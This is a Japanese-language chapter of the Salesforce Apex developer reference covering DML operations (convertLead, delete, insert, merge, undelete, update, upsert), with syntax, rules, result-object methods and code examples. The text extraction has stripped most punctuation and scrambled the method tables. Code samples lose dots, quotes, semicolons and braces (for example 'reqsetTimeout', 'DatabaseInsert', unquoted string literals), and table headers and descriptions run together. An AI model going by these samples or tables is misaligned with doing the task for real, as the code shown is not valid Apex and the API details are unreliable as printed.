docSampleDocSamplePort stub = new docSampleDocSamplePort() stubtimeout_x = 2000 タイムアウト (ミリ秒)

次にHTTP コールアウトのカスタムタイムアウトの設定についての例を示します

HttpRequest req = new HttpRequest() reqsetTimeout(2000) タイムアウト (ミリ秒)

Apex を使用したコールアウトの呼び出し Version 180 | コールアウトの制限 | 184

第 12 章

参照

Apex リファレンスにはApex 言語についての情報が含まれていますトピック

bull データ操作言語 (DML) の操作 データベース内のデータの操作に使用されます

bull Apex のデータ操作言語 (DML) 操作

bull 標準クラスおよびメソッドプリミティブデータ型コレクションsObjectsApex のほかの部分に使用できます

bull Apex 標準クラスおよび標準メソッド

bull Apex クラス 使用可能な組み込みクラスbull Apex クラス

Apex のデータ操作言語 (DML) 操作

データベース内のデータを取得挿入削除更新するためにデータ操作言語 (DML)操作を使います

以下の2つの異なる形式を使ってDML操作を実行可能です

bull Apex DMLステートメントは例えば以下のものです

insert SObject[]

bull Apex DMLデータベースメソッドは例えば以下のものです

DatabaseSaveResult[] result = DatabaseInsert(SObject[])

ほとんどのDML操作がどちらの方式でも利用可能な一方でいくつかはどちらか片方にしか存在しません

異なるDML操作形式は異なるタイプの例外処理を可能にします

bull try catchブロックを使うことによって 大量のDML処理中に発生するエラーをコントロールフローを即時に遮るApex例外として出したい場合DMLを使ってくださいこの機能はほとんどのデータベースの手続き型言語における例外の処理方法に似ています

bull 大量のDML操作の部分的成功を可能にしたいならばデータベースメソッドを使ってください記録が失敗した場合もDML操作の残りは成功可能ですアプリケーションは次に記録を拒否し操作を再試行しますこの方式を使っている場合DML例外エラーを決して出さないコードを書くことができます代わりにコードは成功と失敗を判断する適切な結果列を使用可能ですDMLデータベースメソッドはDMLステートメントのように出された例外構文を含むことも可能です

以下のApex DML操作が利用可能です

bull convertLead1

bull delete

bull insert

bull merge2

bull undelete

bull update

bull upsert

システムコンテキストと共有ルール

ほとんどのDML操作はシステムコンテキストにて実行され現在のユーザのプロファイル許可フィールドレベルセキュリティ組織全体のデフォルト役割階層のポジションおよび共有ルールを無視しますしかしながらDML操作がwith sharingキーワードによって定義されたクラス内で呼び出された場合現在のユーザの共有ルールが考慮されます詳細はwith sharingまたはwithout sharingキーワードを使う (ページ 105)を参照してください

1convertLeadだけがデータベースメソッドとして利用可能です

2mergeだけがApex DMLステートメントとして利用可能です

参照 Version 180 | Apex のデータ操作言語 (DML) 操作 | 186

文字列項目の切り捨てと API バージョン

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

ConvertLead 操作convertLead DML操作は 任意に 商談と同様にリードを取引先と取引先担当者に変換します

メモ convertLeadconvertLeadだけがデータベースメソッドとして利用可能です

データベースメソッド構文

bull LeadConvertResult DatabaseconvertLead(LeadConvert leadToConvert Boolean opt_allOrNone)bull LeadConvertResult[] DatabaseconvertLead(LeadConvert[] leadsToConvert Boolean opt_allOrNone)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

ルールとガイドライン

リードを変換する際は次のルールやガイドラインを考慮する必要があります

bull 項目マッピングシステムは標準リード項目を標準取引先取引先担当者商談項目に自動的に対応付けますカスタムリードのフィールドに関してはSalesforcecomの管理者がカスタムアカウントコンタクト商談フィールドのマッピング方法を指定することができます項目マッピングの詳細はSalesforcecom オンラインヘルプを参照してください

bull 差し込み項目 データが既存のアカウントとコンタクトオブジェクトにマージされた場合ターゲットオブジェクト内の空白のフィールドは上書きされます既存データ IDを含む は上書きされません唯一の例外はターゲットコンタクトオブジェクト内のLeadSourceフィールドがソースLeadConvertオブジェクト内のLeadSourceフィールドの内容によって上書きされる場合においてLeadConvertオブジェクトのsetOverwriteLeadSourceにTrueを指定した場合です

bull レコードタイプ組織でレコードタイプを使用している場合新しい所有者のデフォルトのレコードタイプはリード変換時に作成されたレコードに割り当てられますリードを変換するユーザのデフォルトのレコードタイプによって変換時に使用できるリードのソース値が決まります必要なリードのソース値が使用できない場合リードを変換するユーザのデフォルトのレコードタイプに値を追加しますレコードタイプの詳細はSalesforcecom オンラインヘルプを参照してください

bull 選択リスト値システムは空の標準リード選択リスト項目を対応付けるときに取引先取引先担当者商談のデフォルトの選択リストを割り当てます組織でレコードタイプを使用している場合空の値は新しいレコード所有者のデフォルトの選択リストの値で置き換えられます

bull 自動フィード登録リードを取引先取引先担当者および (オプションで) 商談に変換すると生成されたレコードの所有者が自動的に登録されリード所有者はリードレコードから登録解除されますリードに登録されたユーザは生成されたレコードに登録されリードからは登録解除されますリードに登録されたリード所有者およびその他のユーザは新規フィードで取引先取引先担当者商談のレコードの変更を確認できます[設定] [個人情報] [個人情報] の [フィードの自動登録を無効化]項目がオフであれば登録できますレコードへの変更をユーザのホームページのニュースフィードに表示できるようレコードに登録できます登録するとSalesforcecom のレコードの最新状況を確認するのに役立ちます

参照 Version 180 | ConvertLead 操作 | 187

リードの変換の基本ステップ

リードの変換は次の基本ステップに従います

1 アプリケーションがコンバートされるリードのIDを決定します2 状況に応じてアプリケーションはリードがマージされるアカウントのIDを決定しますアプリケーショ

ンはリード名にマッチするアカウントを探すためにSOQLを以下の例のように使用することができます

select id name from account where name=CompanyNameOfLeadBeingMerged

3 状況に応じてアプリケーションはそのコンタクトまたはリードがマージされるアカウントのIDを決定しますアプリケーションはリード名にマッチするコンタクトを探すためにSOQLを以下の例のように使用することができます

select id name from contact where firstName=FirstName and lastName=LastName andaccountId = 001

4 状況に応じてアプリケーションは商談がリードから作成されるかどうかを決定可能です5 すべての可能なコンバートされた状況オプションを取得するためにアプリケーションはLeadSourceテーブル

に問い合わせます(SELECT FROM LeadStatus WHERE IsConverted=1)それからコンバートされた状況の値を選択します

6 アプリケーションはconvertLeadを呼び出します7 アプリケーションは返された結果を通して繰り返され各リードにどのコンバージョンが成功したか決定

するためにに各LeadConvertResultオブジェクトを検査します8 オプションでキューが所有するリードを変換する場合は所有者を指定する必要がありますこれはキュー

が取引先と取引先担当者を所有することができないからです既存の取引先または取引先担当者を指定する場合も所有者を指定する必要があります

LeadConvertオブジェクトメソッド

convertLeadデータベースメソッドは最高で100のLeadConvertオブジェクトをを受け付けますLeadConvertオブジェクトは以下のメソッドをサポートします

説明戻り値の型引数名前

リードのマージ先アカウントのIDを設定しますIDgetAccountId

リードのマージ先取引先担当者のIDを設定しますIDgetContactId

コンバートされたリードのリードステータス値を取得します

StringgetConvertedStatus

変換するリードのIDを取得しますIDgetLeadID

作成する商談名を取得しますStringgetOpportunityName

新しく作成する取引先取引先担当者商談の所有者となるユーザの ID を取得します

IDgetOwnerID

リード変換時に商談を作成するかどうかを指定 (デフォルトの falseで商談を作成しtrueでは作成しない)します

BooleanisDoNotCreateOpportunity

参照 Version 180 | ConvertLead 操作 | 188

説明戻り値の型引数名前

ターゲットの取引先担当者オブジェクトの LeadSource

項目にソースのリードオブジェクトのLeadSource項BooleanisOverWriteLeadSource

目の値を上書きするかどうかを指定します (上書きする場合は true上書きしない場合は falseでデフォルトでは上書きしません)

setOwnerIdで指定された所有者に電子メールの通知を送るかどうかを指定 (送る場合はtrue送らない場合はfalseでデフォルトでは送らない) します

BooleanisSendNotificationEmail

リードのマージ先アカウントのIDを設定します既存アカウント 個人取引先を含む が更新される時のみこの値

VoidID IDsetAccountId

は要求されます該当しない場合はsetAccountIDが指定された場合新しいアカウントが作成されます

リードのマージ先コンタクトのIDを設定します このコンタクトはsetAccountIdで指定されたアカウントに

VoidID IDsetContactId

関連づれられている必要がありますsetAccountIdは指定される必要があります 既存コンタクトを更新する場合のみこの値が必要です

重要 リードをパーソナルアカウントにコンバートする場合setContactIdを指定しないでください指定するとエラーが発生します個人取引先のsetAccountIdのみ指定してください

setContactIDが指定された場合アプリケーションはアカウントに暗黙的に関連付けられた新しいコンタクトを作成しますコンタクト名とその他の既存データは上書きされません LeadSourceフィールドのみが上書きされる設定であるsetOverwriteLeadSourceがTrueに設定されていない限り

コンバートされたリードのリードステータス値を設定しますこのフィールドは必要です

VoidString StatussetConvertedStatus

リードコンバージョン中に商談を作成するかどうか指定しますデフォルト値はfalseですデフォルトで商談

VoidBooleanCreateOpportunity

setDoNotCreateOpportunity

は作成されますリードの商談を作成したくない場合のみこのフラグを trueに設定します

コンバートするリードのIDを設定してくださいこのフィールドは必要です

VoidID IDsetLeadId

作成する商談名を設定してください名前が指定されない場合この値の規定値はリードの会社名になりま

VoidString OppNamesetOpportunityName

すこの項目の文字数は 80 文字までですsetDoNotCreateOpportunityがTrueの場合商談は作成されずこのフィールドは空白のまま残されますそうでない場合はエラーが返されます

参照 Version 180 | ConvertLead 操作 | 189

説明戻り値の型引数名前

ターゲットコンタクトオブジェクト上のLeadSource

フィールドをソースリードオブジェクト内のLeadSource

VoidBooleanOverwriteLeadSource

setOverwriteLeadSource

フィールドの内容で上書きするかどうかを指定する規定値はFalseでそのフィールドを上書きしませんTrueとして指定した場合はターゲットコンタクト用のsetContactIdも指定する必要があります

新しく作成する取引先取引先担当者商談の所有者となるユーザの ID を指定アプリケーションがこの値を

VoidID IDsetOwnerId

指定しない場合は新規オブジェクトのオーナーはリードのオーナーになりますこのメソッドは既存オブジェクトをマージするのには適用不可ですsetOwnerIdが指定された場合ownerIdフィールドは既存アカウントまたはコンタクト内で上書きされません

setOwnerIdによって指定されたオーナーに通知電子メールを送信するか指定します規定値はFalseで送信しません

VoidBooleanSendEmail

setSendNotificationEmail

LeadConvertResultオブジェクト

LeadConvertResultオブジェクトの列はconvertLeadデータベースメソッドで返されますSObject列に関連したLeadConvertResult列内の各エレメントはconvertLeadデータベースメソッド内の SObject[]パラメータとして通過しますつまりLeadConvertResult列内の最初のエレメントはSObject列内の最初のエレメントにマッチしますまた二番目のエレメントは2 番目のエレメントに対応し3 番目以降も同じです1つしかsObjectが渡されない場合LeadConvertResults 列は1つのエレメントしか含みません

LeadConvertResultオブジェクトは以下のメソッドを持っています

説明型名前

新規アカウントのID(新規アカウントが指定されている場合)またはconvertLeadが呼び出された時に指定されたアカウントのID

IDgetAccountId

新規コンタクトのID(新規コンタクトが指定されている場合)またはconvertLeadが呼び出された時に指定されたコンタクトのID

IDgetContactId

エラーが発生した場合エラーコードと説明を提供している1つ以上のデータベースエラーオブジェクト詳細

DatabaseError[]DatabaseError []

getErrors

は「データベースエラーオブジェクトメソッド」(ページ 277)を参照してください

コンバートされたリードのIDIDgetLeadId

新規商談のIDconvertLead呼び起こされた際に作成された場合

IDgetOpportunityId

参照 Version 180 | ConvertLead 操作 | 190

説明型名前

DML操作がこのオブジェクトに対して成功した場合TrueのBoolean値となるそうでない場合Falseとなる

BooleanisSuccess

データベースメソッド例

Lead myLead = new Lead(lastname = Fry company=Fry And Sons) insert myLead

DatabaseLeadConvert lc = new databaseLeadConvert() lcsetLeadId(myLeadid)

LeadStatus convertStatus = [Select Id MasterLabel from LeadStatus where IsConverted=truelimit 1] lcsetConvertedStatus(convertStatusMasterLabel)

DatabaseLeadConvertResult lcr = DatabaseconvertLead(lc) Systemassert(lcrisSuccess())

Delete 操作delete DML 操作は1つ以上の既存の sObject レコード個別アカウントまたはコンタクトなどをあなたの組織のデータベースから削除します deleteはForcecom Web サービス API 内の delete()ステートメントに似ています

DMLステートメント構文delete sObject | RecordID

データベースメソッド構文

bull DeleteResult DatabaseDelete((sObject recordToDelete | RecordID ID) Boolean opt_allOrNone)bull DeleteResult[]DatabaseDelete((sObject[] recordsToDelete | RecordIDs LISTIDs) Boolean opt_allOrNone)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

ルールとガイドライン

sObjectレコードを削除する際は以下のルールとガイドラインを考慮してください

bull 参照の完全性を確実にするためにdeleteはカスケーディング削除をサポートします親オブジェクトを削除した場合各子レコードが削除可能な場合自動的に子オブジェクトも削除されます

例えばケースレコードを削除した場合Apexは自動的にそのケースに関連したCaseCommentCaseHistoryおよびCaseSolutionレコードを削除しますしかしながら特定の子レコードは削除不可能か現在使用中の場合親ケースレコード上のdelete操作は失敗します

bull 特定のsObjectsは削除不可能ですあるsObjectレコードを削除するにはsObjectのdeletableプロパティをTrueに設定しておく必要がありますsObjects That Do Not Support DML Operations (ページ 204)も参照してください

bull 最大1000のsObjectレコードを単一のdeleteメソッドに渡すことができます

参照 Version 180 | Delete 操作 | 191

DeleteResult オブジェクト

DatabaseDeleteResult オブジェクトの配列はdeleteデータベースメソッドで返されますSObject 列に関連した DeleteResult 列内の各エレメントはdeleteデータベースメソッドの sObject[]パラメータの列と一致しますつまりDeleteResult 列内の最初のエレメントはsObject 列内の最初のエレメントにマッチしますまた 2番目のエレメントは2 番目のエレメントに対応し 3 番目以降も同じです1つしかsObjectが渡されない場合DeleteResults列は1つのエレメントしか含みません

DatabaseDeleteResult オブジェクトには次のメソッドがあります

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上のデータベースエラーオブジェクト詳細は

DatabaseError[]getErrors

「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

削除しようとしているsObjectのIDこのフィールドがある値を含む場合オブジェクトの削除は成功しています

IDgetId

このフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

DML操作がこのオブジェクトに対して成功した場合TrueのBoolean値となるそうでない場合Falseとなる

BooleanisSuccess

DMLステートメント例

以下の例は「DotCom」と名づけられたアカウントの消去を示しています

Account[] doomedAccts = [select id name from account where name = DotCom] try deletedoomedAccts catch (DmlException e) Process exception here

メモ 処理DmlExceptionに関する詳細はBulk DML Exception Handling (ページ 205)を参照してください

データベースメソッド例

以下の例は「DotCom」と名づけられたアカウントの消去を示しています

public class DmlTest Account[] doomedAccts = [select id name from account where name =DotCom] DatabaseDeleteResult[] DR_Dels = Databasedelete(doomedAccts)

Insert 操作insert DML 操作は個別アカウントまたはコンタクトなどの1つ以上のsObjectをあなたの組織のデータに追加しますinsertはSQL の INSERT ステートメントを似ています

DMLステートメント構文insert sObject

参照 Version 180 | Insert 操作 | 192

insert sObject[]

データベースメソッド構文

bull SaveResult Databaseinsert(sObject recordToInsert Boolean opt_allOrNone | databaseDMLOptionsopt_DMLOptions)

bull SaveResult[] Databaseinsert(sObject[] recordsToInsert Boolean opt_allOrNone | databaseDMLOptionsopt_DMLOptions)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

DatabaseSaveResult[] MySaveResult = DatabaseInsert(MyAccounts false)

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

AssignmentRuleHeader UseDefaultRule databaseDMLOptions dmo = new databaseDMLOptions()dmoAssignmentRuleHeaderUseDefaultRule= true

Lead l = new Lead(company=ABC lastname=Smith) lsetOptions(dmo)

insert l

詳細はデータベース DMLOptions メソッド (ページ 273)を参照してください

ルールとガイドライン

sObjectレコードを挿入する際は以下のルールとガイドラインを考慮してください

bull 特定のsObjectsは挿入不可能ですあるsObjectレコードを作成するにはsObjectのcreateableプロパティをTrueに設定しておく必要があります

bull すべての必要フィールドにnullではない値を入力する必要がありますbull 最大1000のsObjectレコードを単一のinsertメソッドに渡すことができますbull insertステートメントはすべての新規sObjectレコードのID値を自動的に設定しますすでにIDを持ってい

る すなわちすでに組織のデータ内に存在している レコードの挿入はエラーを発生させます詳細については「リスト (ページ 34)」 を参照してください

bull insertステートメントのみが関連sObjectレコードの外部キーIDを設定可能です関連レコードのフィールドはinsertでは更新できません例えば新規コンタクトを挿入した場合AccountIdフィールドの値を設定することによってコンタクトの関連アカウントレコードを指定可能ですしかしながらアカウント自体を更新せずに別のDMLコールを使ってアカウント名を変更することはできません

bull insertステートメントはいつくかのsObjectではサポートされませんDML操作をサポートしないsObject(ページ 204)を参照してください

bull この操作は重複ID値に関してレコードの各かたまりをチェックします重複がある場合は最初の 5 つが処理されます6番目とすべての追加重複IDについてはそのエントリ用のSaveResultが以下に類似したエラーによってマークされますMaximum number of duplicate updates in one batch (5allowed)Attempt to update Id more than once in this API call number_of_attempts

参照 Version 180 | Insert 操作 | 193

SaveResultオブジェクト

SaveResultオブジェクトの列はinsertとupdateのデータベースメソッドで返されますSObject列に関連したSaveResult列内の各エレメントはデータベースメソッド内のsObject[]パラメータの列と一致しますすなわちSaveResult列内の最初のエレメントはsObject列内の最初のエレメントにマッチしますまた二番目のエレメントは二番目のエレメントに対応し三番目以降も同じです1つしかsObjectが渡されない場合 SaveResults列は1つのエレメントしか含みません

SaveResultオブジェクトは以下のメソッドを持っています

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上の

DatabaseError[]getErrors

データベースエラーオブジェクト詳細は「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

挿入または更新しようとしているsObjectのIDこのフィールドがある値

IDgetId

を含む場合オブジェクトの挿入または更新は成功していますこのフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

DML操作がこのオブジェクトに対して成功した場合Trueに設定されたBooleanそうでない場合False

BooleanisSuccess

DMLステートメント例

以下の例は「Acme」と名づけられたアカウントの挿入を示しています

Account newAcct = new Account(name = Acme) try insert newAcct catch (DmlExceptione) Process exception here

メモ 処理DmlExceptionに関する詳細はBulk DML Exception Handling (ページ 205)を参照してください

データベースメソッド例

以下の例は「Acme」と名づけられたアカウントの挿入を示しています

Account a = new Account(name = Acme) DatabaseSaveResult[] lsr = Databaseinsert(newAccount[]a new Account(name = Acme) false)

Iterate through the Save Results for(DatabaseSaveResult srlsr) if(srisSuccess())DatabaseError err = srgetErrors()[0]

参照 Version 180 | Insert 操作 | 194

Merge ステートメントmergeステートメントは同じsObjectタイプの最大3つのレコードをレコードの1つにマージしその他を削除し関連レコードを再ペアレント化します

メモ このDML操作はマッチングデータベースシステムメソッドを持っていません

構文merge sObject sObject

merge sObject sObject[]

merge sObject ID

merge sObject ID[]

最初のパラメータは他のレコードのマージ先のマスターレコードを表します二番目のパラメータはマージされてから削除される1つまたは2つの他のレコードを表しますこれらの他のレコードを単一のsObjectレコードまたはIDとしてもしくは2つのsObjectレコードまたはIDとしてmergeステートメントにパスすることができます

ルールとガイドライン

sObjectレコードをマージする際は以下のルールとガイドラインを考慮してください

bull リード コンタクトおよびアカウントだけがマージ可能ですDML操作をサポートしないsObject (ページ204)を参照してください

bull マスターレコードと最大2つのsObjectを1つのmergeメソッドにパスすることができます

リード取引先取引先担当者の結合の詳細はSalesforcecom オンラインヘルプを参照してください

以下の例は2つの「Acme Inc」と「Acme」と名づけられたアカウントを1つのレコードにマージします

ListltAccountgt ls = new ListltAccountgtnew Account(name=Acme Inc)new Account(name=Acme)insert ls Account masterAcct = [select id name from account where name = Acme Inclimit 1] Account mergeAcct = [select id name from account where name = Acme limit 1]try merge masterAcct mergeAcct catch (DmlException e) Process exception here

メモ DmlExceptionの処理に関する詳細は「大量DML例外処理 (ページ 205)」を参照してください

Undelete 操作undeleteDML操作は個別アカウントまたはコンタクトなどの1つ以上のsObjectをあなたの組織のごみ箱から復元させますundeleteはSQLのUNDELETEステートメントを似ています

DMLステートメント構文undelete sObject | RecordID

参照 Version 180 | Merge ステートメント | 195

undelete sObject[] | LISTID[]

データベースメソッド構文

bull UndeleteResult DatabaseUndelete((sObject recordToUndelete | RecordID ID) Boolean opt_allOrNone)bull UndeleteResult[] DatabaseUndelete((sObject[] recordsToUndelete | RecordIDs LISTIDs) Boolean

opt_allOrNone)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

ルールとガイドライン

sObjectレコードを復元する際は以下のルールとガイドラインを考慮してください

bull 参照の完全性を確実にするためにundeleteは以下のタイプの関連性に関するレコード関連付けを復元させます

- 親取引先 (取引先の [親取引先]項目で指定)- 親ケース (ケースの [親ケース]項目で指定)- 翻訳ソリューションのマスタソリューション (ソリューションの [マスタソリューション]項目で指定)- 取引先責任者のマネージャ (取引先責任者の [上司]項目で指定)- 納入商品に関連付けられている商品 (納入商品の [商品]項目で指定)- 見積に関連付けられている商談 (見積の [商談]項目で指定)- すべてのカスタム参照関係- 取引先およびリレーショングループのリレーショングループメンバー (一部例外あり)- タグ- 記事のカテゴリ公開の状況および割り当てSalesforcecomオンラインヘルプの「記事の管理」を参照

してください

メモ Salesforcecom は置換されていない参照関係のみを復元しますたとえば納入商品が元の商品レコードが元に戻される前に別の商品と関連付けられている場合その納入商品と商品のリレーションは復元されません

bull 特定のsObjectsは復元不可能ですあるsObjectが復元不可能かどうか確認するためにはsObjectのundeletable

プロパティがTrueに設定されているか確認してくださいbull 最大1000のsObjectレコードを単一のundeleteメソッドに渡すことができますbull 結合の結果として削除されたレコードを復元できますが子オブジェクトは再ペアレント化されやり直す

ことはできませんbull マージの結果削除されたレコード含むレコードを削除するにはSOQL問い合わせundeleteを使ってくださ

いステートメントですべてのレコードを問い合わせる (ページ 60)を参照してくださいbull いくつかのsObjectでは復元はサポートされていませんDML操作をサポートしないsObject (ページ 204)を

参照してください

UndeleteResultオブジェクト

DatabaseUndeleteResult オブジェクトの配列はundeleteデータベースメソッドで返されますSObject 列に関連した UndeleteResult 列内の各エレメントはundeleteデータベースメソッドの sObject[]パラメータの列と

参照 Version 180 | Undelete 操作 | 196

一致しますつまりUndeleteResult 列内の最初のエレメントはsObject 列内の最初のエレメントにマッチしますまた 2 番目のエレメントは2 番目のエレメントに対応し3 番目以降も同じです1つしかsObjectがパスされない場合UndeleteResult列は1つのエレメントしか含みません

undeleteResultオブジェクトは以下のメソッドを持っています

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上の

DatabaseError[]getErrors

データベースエラーオブジェクト詳細は「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

復元しようとしているsObjectのIDこのフィールドがある値を含む場合

IDgetId

オブジェクトの復元は成功していますこのフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

DML操作がこのオブジェクトに対して成功した場合TrueのBoolean値となるそうでない場合Falseとなる

BooleanisSuccess

DMLステートメント例

以下の例は「Trump」と名づけられたアカウントの復元を示していますALL ROWSキーワードは削除されたレコードとアーカイブされたアクテビティを含むトップレベルと総関係の両方の全ての列を問い合わせます

Account a = new Account(name=AC1) insert(a) insert(newContact(lastName=CarteraccountId=aid))

Account[] savedAccts = [select id name from account where name = Trump ALL ROWS] try undelete savedAccts catch (DmlException e) Process exception here

メモ DmlExceptionの処理に関する詳細は「大量DML例外処理 (ページ 205)」を参照してください

データベースメソッド例

以下の例は「Trump」と名づけられたアカウントの復元を示していますALL ROWSキーワードは削除されたレコードとアーカイブされたアクテビティを含むトップレベルと総関係の両方の全ての列を問い合わせます

public class DmlTest2

public void undeleteExample() Account[] SavedAccts = [select id name from account wherename = Trump ALL ROWS] DatabaseUndeleteResult[] UDR_Dels = Databaseundelete(SavedAccts)for(integer i =0 ilt 10 i++) if(UDR_Dels[i]getErrors()size()gt0) Process any errorshere

参照 Version 180 | Undelete 操作 | 197

Update 操作updateDML操作は個別アカウントまたはコンタクトなどの1つ以上の既存sObjectをあなたの組織のデータを修正します updateはSQLのUPDATEステートメントを似ています

DMLステートメント構文update sObject

update sObject[]

データベースメソッド構文

bull UpdateResult Update(sObject recordToUpdate Boolean opt_allOrNone | databaseDMLOptions opt_DMLOptions)bull UpdateResult[] Update(sObject[] recordsToUpdate[] Boolean opt_allOrNone | databaseDMLOptions

opt_DMLOptions)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

詳細はデータベース DMLOptions メソッド (ページ 273)を参照してください

ルールとガイドライン

sObjectレコードを更新する際は以下のルールとガイドラインを考慮してください

bull 特定のsObjectsは更新不可能ですあるsObjectレコードを更新するにはsObjectのupdateableプロパティをTrueに設定しておく必要があります

bull 必要なフィールドを更新する際はnullではない値を入力する必要がありますbull Forcecom Web Services APIの場合とは違ってApexはsObjectレコード上のfieldsToNull列を更新せずに

フィールド値をnullにすることが可能です多くのSOAPプロバイダによるnull値の一貫性のない処理が行われたためAPI はこの列の更新を要求しますApexはForcecomプラットフォーム上だけで実行されるのでこの回避方法は不要です

bull 更新されたsObjectレコードのIDは修正不可能ですが関連レコードIDは修正可能ですbull この操作は重複ID値に関してレコードの各かたまりをチェックします重複がある場合は最初の 5 つ

が処理されます6番目とすべての追加重複IDについてはそのエントリ用のSaveResultが以下に類似したエラーによってマークされますMaximum number of duplicate updates in one batch (5allowed)Attempt to update Id more than once in this API call number_of_attempts

bull updateステートメントはLastModifiedDateLastModifiedByIdSystemModstampなどの特定のフィールドを自動的に修正しますApexスクリプトにてこれらの値を明示的に指定することはできません

bull 最大1000のsObjectレコードを単一のupdateメソッドに渡すことができますbull 単一のupdateステートメントは一度にたった1つのタイプのsObjectしか修正できません例えば修正さ

れたことのある既存コンタクトを通してアカウントフィールドを更新する場合以下の2つのupdateステートメントが必要です

Use a SOQL query to access data for a contact Contact c = [select accountname fromcontact where lastName = Carter limit 1]

参照 Version 180 | Update 操作 | 198

Now we can change fields for both the contact and its associated accountcaccountname = salesforcecom clastName = Roth

データベースを更新するには2 種類のレコードを 個別に更新する必要があります update c 連絡先の名前のみ変更します update caccount 取引先名を更新します

bull いくつかのsObjectでは更新はサポートされていませんDML操作をサポートしないsObject (ページ 204)を参照してください

SaveResultオブジェクト

SaveResultオブジェクトの列はinsertとupdateのデータベースメソッドで返されますSObject列に関連したSaveResult列内の各エレメントはデータベースメソッド内のsObject[]パラメータの列と一致しますすなわちSaveResult列内の最初のエレメントはsObject列内の最初のエレメントにマッチしますまた二番目のエレメントは二番目のエレメントに対応し三番目以降も同じです1つしかsObjectが渡されない場合 SaveResults列は1つのエレメントしか含みません

SaveResultオブジェクトは以下のメソッドを持っています

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上の

DatabaseError[]getErrors

データベースエラーオブジェクト詳細は「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

挿入または更新しようとしているsObjectのIDこのフィールドがある値

IDgetId

を含む場合オブジェクトの挿入または更新は成功していますこのフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

DML操作がこのオブジェクトに対して成功した場合Trueに設定されたBooleanそうでない場合False

BooleanisSuccess

DMLステートメント例

以下の例は「Acme」と名づけられた1つのアカウント上のbillingcityフィールドを更新します

Account a = new Account(name=Acme2) insert(a)

Account myAcct = [select id name billingcity from account where name = Acme2 limit 1]myAcctbillingcity = San Francisco try update myAcct catch (DmlException e) Process exception here

メモ DmlExceptionの処理に関する詳細は「大量DML例外処理 (ページ 205)」を参照してください

参照 Version 180 | Update 操作 | 199

データベースメソッド例

以下の例は「Acme」と名づけられた1つのアカウント上のbillingcityフィールドを更新します

Account myAcct = [select id name billingcity from account limit 1] myAcctbillingcity =San Francisco

DatabaseSaveResult SR = databaseupdate(myAcct) for(DatabaseError err SRgetErrors()) process any errors here

Upsert操作upsertDML操作は既存オブジェクトの存在を決定する任意のカスタムフィールドを使って1つのステートメント内で新規sObjectレコードを作成し既存のsObjectレコードを更新します

DMLステートメント構文upsert sObject opt_external_id

upsert sObject[] opt_external_id

opt_external_idは組織のデータ内にすでに存在しているレコードにマッチするために使われるカスタムフィールドを指定する任意の変数ですカスタムフィールドは選択されたExternal Id属性で作成される必要がありますさらに項目に選択された Unique属性がない場合upsertが誤って重複レコードを挿入しないようにコンテキストユーザ「すべてを参照」オブジェクトレベルの権限か「すべてのデータを参照」権限が必要です

opt_external_idが指定されていない場合sObjectレコードのIDフィールドは規定値で使われます

メモ カスタムフィールドがフィールド定義の一部として「一意」と「ABC と abc を重複した値として扱う (大文字小文字の区別なし)」属性を選択している場合のみカスタムフィールドは大文字と小文字を区別しませんこの場合「ABC123」は「abc123」と一致します詳細はSalesforcecom オンラインヘルプの「項目とリレーションの追加」を参照してください

データベースメソッド構文

bull UpsertResult DatabaseUpsert(sObject recordToUpsert SchemaSObjectField External_ID_Field Booleanopt_allOrNone)

bull UpsertResult[] DatabaseUpsert(sObject[] recordsToUpsert SchemaSObjectField External_ID_Field Booleanopt_allOrNone)

External_ID_Fieldパラメータは組織のデータ内にすでに存在しているレコードにマッチするために使われるカスタムフィールドを指定する任意の変数ですカスタムフィールドは選択されたExternal Id属性で作成される必要がありますさらに項目に選択された Unique属性がない場合upsertが誤って重複レコードを挿入しないようにコンテキストユーザ「すべてを参照」オブジェクトレベルの権限か「すべてのデータを参照」権限が必要です

External_ID_Fieldは SchemaSObjectFieldつまり項目トークンですfields特殊メソッドを使用して項目のトークンを検索しますたとえばSchemaSObjectField f = AccountFieldsMyExternalIdとなります

External_ID_Fieldが指定されていない場合sObjectレコードのIDフィールドは規定値で使われます

参照 Version 180 | Upsert操作 | 200

メモ カスタムフィールドがフィールド定義の一部として「一意」と「ABC と abc を重複した値として扱う (大文字小文字の区別なし)」属性を選択している場合のみカスタムフィールドは大文字と小文字を区別しませんこの場合「ABC123」は「abc123」と一致します詳細はSalesforcecom オンラインヘルプの「項目とリレーションの追加」を参照してください

